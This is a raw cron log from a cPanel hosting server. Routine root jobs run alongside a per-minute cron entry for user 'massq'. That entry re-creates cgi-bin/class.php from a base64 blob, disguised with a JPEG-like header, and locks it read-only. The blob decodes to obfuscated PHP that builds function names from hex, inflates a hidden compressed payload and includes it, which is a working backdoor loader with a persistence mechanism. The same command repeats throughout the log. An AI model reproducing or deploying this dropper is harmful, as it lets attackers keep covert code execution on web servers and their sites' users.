Sep  4 15:15:01 server CROND[30757]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 15:15:01 server CROND[30762]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 15:15:01 server CROND[30758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:15:01 server CROND[30759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:15:01 server CROND[30760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:16:01 server CROND[31625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:16:01 server CROND[31627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:16:01 server CROND[31626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:17:01 server CROND[32065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:17:01 server CROND[32066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:17:01 server CROND[32067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:18:01 server CROND[32458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:18:01 server CROND[32459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:18:01 server CROND[32460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:19:01 server CROND[505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:19:01 server CROND[506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:19:01 server CROND[507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:20:01 server CROND[931]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:20:01 server CROND[933]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 15:20:01 server CROND[934]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 15:20:01 server CROND[938]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:20:01 server CROND[940]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 15:20:01 server CROND[945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:20:01 server CROND[942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:20:01 server CROND[943]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 15:20:01 server CROND[944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:21:01 server CROND[1884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:21:01 server CROND[1885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:21:01 server CROND[1886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:22:01 server CROND[2313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:22:01 server CROND[2314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:22:01 server CROND[2312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:23:01 server CROND[2728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:23:01 server CROND[2729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:23:01 server CROND[2730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:24:01 server CROND[3210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:24:01 server CROND[3211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:24:01 server CROND[3212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:25:01 server CROND[3588]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 15:25:01 server CROND[3590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:25:01 server CROND[3591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:25:01 server CROND[3593]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:25:01 server CROND[3596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:25:01 server CROND[3594]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 15:25:01 server CROND[3599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:26:01 server CROND[4419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:26:01 server CROND[4421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:26:01 server CROND[4420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:27:01 server CROND[4808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:27:01 server CROND[4807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
